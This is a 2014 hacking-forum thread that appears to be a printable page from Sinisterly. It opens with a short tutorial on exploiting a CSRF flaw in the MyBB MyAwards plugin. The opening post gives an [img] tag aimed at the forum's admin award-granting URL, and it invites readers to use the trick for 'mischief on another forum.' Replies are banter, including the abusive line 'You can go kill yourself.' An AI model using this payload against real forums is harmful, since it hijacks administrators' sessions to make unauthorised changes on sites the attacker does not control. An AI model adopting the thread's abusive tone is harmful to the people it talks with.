Sinisterly
Tutorial MyBB - MyAwards CSRF Vulnerability - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: Tutorial MyBB - MyAwards CSRF Vulnerability (/Thread-Tutorial-MyBB-MyAwards-CSRF-Vulnerability)

Pages: 1 2

MyBB - MyAwards CSRF Vulnerability - Oni - 08-26-2014

This is a really simple, really stupid, vulnerability I heard of a few days ago. Didn't think it was worth a post, until I received a dozen PMs that we were possibly "vulnerable". Felt like sharing, in case you guys want to cause a bunch of mischief on another forum.

  1. Figure out the ACP link for a MyBB forum using MyAwards.
  2. Post a thread with the following image code on a (modified to your needs).
    Code:
    [img]https://www.sinister.ly/admin/index.php?module=user-awards&action=awards_do_grant&awid=4&username=Oni&awreason=loldongs[/img]
  3. Wait for an administrator to view your "image".
  4. Enjoy whatever pathetic awards you might want.


RE: MyBB - MyAwards CSRF Vulnerability - Dyme - 08-26-2014

Wow oni, I now see why you gave yourself that grey hat hacker award!

RE: MyBB - MyAwards CSRF Vulnerability - Shebang - 08-26-2014

I guess you fixed this on here, right? Tongue

RE: MyBB - MyAwards CSRF Vulnerability - Reiko - 08-26-2014

This is pretty funny, I gotta say.

RE: MyBB - MyAwards CSRF Vulnerability - Karma - 08-26-2014

(08-26-2014, 05:21 AM).Shebang Wrote: I guess you fixed this on here, right? Tongue

Would be pretty dumb if he wouldn't, mh? Tongue

RE: MyBB - MyAwards CSRF Vulnerability - MiS - 08-26-2014

(08-26-2014, 05:21 AM).Shebang Wrote: I guess you fixed this on here, right? Tongue

I was imagining someone with over 20 awards on SL as you said that :p

RE: MyBB - MyAwards CSRF Vulnerability - Equinox - 09-24-2014

Fun fact; you can give yourself invalid awards (if you know the admin dir)

Hope you had fun removing those awards, @Oni. Tongue

RE: MyBB - MyAwards CSRF Vulnerability - Oni - 09-24-2014

(09-24-2014, 02:58 AM)Equinox Wrote: Fun fact; you can give yourself invalid awards (if you know the admin dir)

Hope you had fun removing those awards, @Oni. Tongue

You can go kill yourself.

RE: MyBB - MyAwards CSRF Vulnerability - Fury - 09-24-2014

LOL This is awesome! Great share, hahaha!

RE: MyBB - MyAwards CSRF Vulnerability - MiS - 09-24-2014

(09-24-2014, 02:59 AM)Oni Wrote: You can go kill yourself.

no bulli allowed!